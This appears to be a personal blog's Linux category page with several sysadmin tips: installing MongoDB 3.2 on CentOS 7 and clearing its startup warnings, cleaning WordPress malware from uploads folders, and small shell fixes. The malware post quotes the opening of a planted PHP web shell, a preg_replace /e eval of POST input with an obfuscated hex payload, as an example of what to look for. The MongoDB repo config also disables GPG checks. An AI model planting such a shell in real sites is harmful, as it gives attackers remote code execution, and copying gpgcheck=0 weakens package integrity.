Category: Linux

How to Install MongoDB 3.2 on CentOS 7

vim /etc/yum.repos.d/mongodb.repo

Paste this to the file and save using :wq

[MongoDB]
name=MongoDB Repository
baseurl=http://repo.mongodb.org/yum/redhat/$releasever/mongodb-org/3.2/x86_64/
gpgcheck=0
enabled=1

Download and install mongodb using yum

yum install mongodb-org -y

Start mongod and configure auto start while system boot

/etc/init.d/mongod restart
chkconfig mongod on

Check all the versions

[[email protected] ~]# mongo --version
MongoDB shell version: 3.2.3
[[email protected] ~]# mongod --version
db version v3.2.3
git version: b326ba837cf6f49d65c2f85e1b70f6f31ece7937
OpenSSL version: OpenSSL 1.0.1e-fips 11 Feb 2013
allocator: tcmalloc
modules: none
build environment:
    distmod: rhel70
    distarch: x86_64
    target_arch: x86_64

Test the connection

[[email protected] ~]# mongo
MongoDB shell version: 3.2.3
> use test
switched to db test
> db.test.save( { juzhax: 1 } )
WriteResult({ "nInserted" : 1 })
> db.test.find()
{ "_id" : ObjectId("56d4ac48b376b143e4749229"), "juzhax" : 1 }

WARNING: /sys/kernel/mm/transparent_hugepage/enabled is ‘always’.

After I install MongoDB 3.2.3 in Centos 7, I received this error when I start mongo in shell. 

[[email protected] ~]# mongo
MongoDB shell version: 3.2.3
connecting to: test
Server has startup warnings:
2016-02-29T14:11:49.308-0500 I CONTROL  [initandlisten]
2016-02-29T14:11:49.308-0500 I CONTROL  [initandlisten] ** WARNING: /sys/kernel/mm/transparent_hugepage/enabled is 'always'.
2016-02-29T14:11:49.308-0500 I CONTROL  [initandlisten] **        We suggest setting it to 'never'
2016-02-29T14:11:49.308-0500 I CONTROL  [initandlisten]
2016-02-29T14:11:49.308-0500 I CONTROL  [initandlisten] ** WARNING: /sys/kernel/mm/transparent_hugepage/defrag is 'always'.
2016-02-29T14:11:49.308-0500 I CONTROL  [initandlisten] **        We suggest setting it to 'never'
2016-02-29T14:11:49.308-0500 I CONTROL  [initandlisten]
2016-02-29T14:11:49.308-0500 I CONTROL  [initandlisten] ** WARNING: soft rlimits too low. rlimits set to 4096 processes, 64000 files. Number of processes should be at least 32000 : 0.5 times number of files.

Solution

Create the init.d script.
Create the following file at /etc/init.d/disable-transparent-hugepages:

#!/bin/sh
### BEGIN INIT INFO
# Provides:          disable-transparent-hugepages
# Required-Start:    $local_fs
# Required-Stop:
# X-Start-Before:    mongod mongodb-mms-automation-agent
# Default-Start:     2 3 4 5
# Default-Stop:      0 1 6
# Short-Description: Disable Linux transparent huge pages
# Description:       Disable Linux transparent huge pages, to improve
#                    database performance.
### END INIT INFO

case $1 in
  start)
    if [ -d /sys/kernel/mm/transparent_hugepage ]; then
      thp_path=/sys/kernel/mm/transparent_hugepage
    elif [ -d /sys/kernel/mm/redhat_transparent_hugepage ]; then
      thp_path=/sys/kernel/mm/redhat_transparent_hugepage
    else
      return 0
    fi

    echo 'never' > ${thp_path}/enabled
    echo 'never' > ${thp_path}/defrag

    unset thp_path
    ;;
esac

Make it executable.
Run the following command to ensure that the init script can be used:

sudo chmod 755 /etc/init.d/disable-transparent-hugepages

sudo chkconfig --add disable-transparent-hugepages

WARNING: Cannot detect if NUMA interleaving is enabled. Failed to probe “/sys/devices/system/node/node1”: Permission denied

[[email protected] ~]# mongo
MongoDB shell version: 3.2.3
connecting to: test
Server has startup warnings:
2016-02-29T23:11:36.666+0700 I CONTROL  [initandlisten]
2016-02-29T23:11:36.667+0700 I CONTROL  [initandlisten] ** WARNING: Cannot detect if NUMA interleaving is enabled. Failed to probe "/sys/devices/system/node/node1": Permission denied
2016-02-29T23:11:36.667+0700 W CONTROL  [initandlisten]
2016-02-29T23:11:36.667+0700 W CONTROL  [initandlisten] Failed to probe "/sys/kernel/mm/transparent_hugepage": Permission denied
2016-02-29T23:11:36.667+0700 W CONTROL  [initandlisten]
2016-02-29T23:11:36.667+0700 W CONTROL  [initandlisten] Failed to probe "/sys/kernel/mm/transparent_hugepage": Permission denied
2016-02-29T23:11:36.667+0700 I CONTROL  [initandlisten]
2016-02-29T23:11:36.667+0700 I CONTROL  [initandlisten] ** WARNING: soft rlimits too low. rlimits set to 4096 processes, 262144 files. Number of processes should be at least 131072 : 0.5 times number of files.

Solution

I’m using the OVH kernel, so it is impossible to use with MongoDB, to solve this issue I have to install back the original kernel of the linux, then this error will be gone.

WARNING: soft rlimits too low. rlimits set to 4096 processes, 64000 files. Number of processes should be at least 32000 : 0.5 times number of files.

I’ve received this error while starting mongo in shell while installing on

[[email protected] ~]# mongod --version
db version v3.2.3
git version: b326ba837cf6f49d65c2f85e1b70f6f31ece7937
OpenSSL version: OpenSSL 1.0.1e-fips 11 Feb 2013
allocator: tcmalloc
modules: none
build environment:
    distmod: rhel70
    distarch: x86_64
    target_arch: x86_64
[[email protected] ~]# mongo --version
MongoDB shell version: 3.2.3
CentOS Linux release 7.2.1511 (Core)

WARNING: soft rlimits too low. rlimits set to 4096 processes, 64000 files. Number of processes should be at least 32000 : 0.5 times number of files.

Solution

vim /etc/security/limits.d/90-nproc.conf

Then put in

mongod     soft    nproc     64000

and

reboot

Remove WordPress Malware using Linux Shell Console

I’ve a lot of wordpress sites, recently few of my old sites infected malware, and those spammer using few of my sites to spam email. I would like to share the way I fix this.

Most of the spammer look for the 777 path, most properly in /wp-content/uploads/
So I try to scan all the php files that they upload there with date.

find ./public_html/wp-content/uploads/ -type f  -name '*.php' -printf '%TY-%Tm-%Td %TT %p\n' | sort

Then I found these

2015-10-16 12:25:01 ./wp-content/uploads/2013/05/blog84.php
2015-10-16 12:25:01 ./wp-content/uploads/2014/10/dump.php
2015-10-16 12:25:01 ./wp-content/uploads/2014/code.php
2015-10-16 12:25:01 ./wp-content/uploads/2015/07/session90.php
2015-10-16 12:25:01 ./wp-content/uploads/2015/09/xml96.php
2015-10-16 12:25:01 ./wp-content/uploads/2015/504.php
2015-10-16 12:25:01 ./wp-content/uploads/about_us.php
2015-10-16 12:25:01 ./wp-content/uploads/contactus.php
2015-10-16 12:25:01 ./wp-content/uploads/rtbwvcsxrnbsvcd.php
2015-10-16 12:25:01 ./wp-content/uploads/sc_afsed.php
2015-10-16 12:25:01 ./wp-content/uploads/team.php
2015-10-16 12:25:01 ./wp-content/uploads/wp-upload.php

This Kind of files should be remove and they will spam.
You can view the file header to see is it spam or not.

head ./wp-content/uploads/2013/05/blog84.php

It will show something like this

<?php @preg_replace('/(.*)/e', @$_POST['dnrdztvetxn'], '');
 $GLOBALS['af4569'] = "\x40\x46\x33\x2e\x62\x7a\x6e\x4c\xa\x7e\x28\x39\x59\x71\x54\x5f\x73\x65\x3f\x77\x5d\x29\x6c\x2f\x79\x50\x56\x63\x5c\x4f\x3c\x70\x2d\x34\x24\x4d\x4a\x53\x57\x67\x44\x51\x23\x43\x7d\x64\x2b\x72\x5

You should remove it immediately.

Search Malware files in WordPress

If you are server admin, you would like to scan all the users, you can try this

find /home/*/domains/*/public_html/wp-content/uploads/ -type f  -name '*.php' -printf '%TY-%Tm-%Td %TT %p\n' | sort

or

find /home/nginx/domains/*/public/wp-content/uploads/ -type f  -name '*.php' -printf '%TY-%Tm-%Td %TT %p\n' | sort

The best way to find out all possible files, I suggest you upgrade the WordPress to latest version
Then try 

find ./public_html -type f  -name '*.php' -printf '%TY-%Tm-%Td %TT %p\n' | sort

This will sort all the date of php file with modified date, you can find it out and remove them easily.

exit code of #128 fatal: unable to connect to github.com

I follow the Quickstart guide from FoundationPress and it display this error

bower install && grunt build
bower foundation#*          not-cached git://github.com/zurb/bower-foundation.git#*
bower foundation#*             resolve git://github.com/zurb/bower-foundation.git#*
bower fontawesome#~4.3.0    not-cached git://github.com/FortAwesome/Font-Awesome.git#~4.3.0
bower fontawesome#~4.3.0       resolve git://github.com/FortAwesome/Font-Awesome.git#~4.3.0
bower fontawesome#~4.3.0       ECMDERR Failed to execute "git ls-remote --tags --heads git://github.com/FortAwesome/Font-Awesome.git", exit code of #128 fatal: unable to connect to github.com: github.com[0: 192.30.252.131]: errno=Connection timed out

I run this to solve this problem.

git config --global url."https://".insteadOf git://

Fastest way to rename filenames with space to dash in linux

I want to mass rename hundred of filenames like
filename 001.jpg to filename-001.jpg
…
…
…
filename 099.jpg to filename-099.jpg

I use this command to rename all in few seconds in my MacBook Pro.
I think it is fine to run in any linux.

for f in *\ *; do mv "$f" "${f// /-}"; done

Show Image Size in Terminal or Shell

The easiest way to show the file size in Terminal in Mac or Linux.

ustins-MacBook-Pro:jpg juzhax$ file 001.jpg
001.jpg: JPEG image data, EXIF standard
Justins-MacBook-Pro:jpg juzhax$ identify 001.jpg
001.jpg JPEG 720x468 720x468+0+0 8-bit sRGB 59.8KB 0.000u 0:00.009
Justins-MacBook-Pro:jpg juzhax$